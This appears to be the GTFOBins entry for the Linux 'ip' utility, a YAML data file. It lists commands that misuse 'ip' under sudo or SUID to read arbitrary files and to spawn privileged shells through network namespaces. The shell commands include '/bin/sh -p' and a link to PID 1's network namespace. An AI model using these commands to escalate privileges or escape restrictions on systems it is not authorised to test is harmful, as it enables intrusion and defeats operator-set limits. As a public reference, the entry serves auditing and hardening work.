1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 14:36:23 +01:00
GTFOBins.github.io/_gtfobins/ip
2026-01-12 01:16:43 +01:00

38 lines
851 B
Plaintext

---
functions:
file-read:
- binary: false
code: |-
ip -force -batch /path/to/input-file
comment: |-
The read file content is corrupted by error prints.
contexts:
sudo:
suid:
unprivileged:
shell:
- code: |-
ip netns add foo
ip netns exec foo /bin/sh
ip netns delete foo
contexts:
sudo:
suid:
code: |-
ip netns add foo
ip netns exec foo /bin/sh -p
ip netns delete foo
version: |-
This only works for Linux with `CONFIG_NET_NS=y`.
- code: |-
ip netns add foo
ip netns exec foo /bin/ln -s /proc/1/ns/net /var/run/netns/bar
ip netns exec bar /bin/sh
ip netns delete foo
ip netns delete bar
contexts:
sudo:
version: |-
This only works for Linux with `CONFIG_NET_NS=y`.
...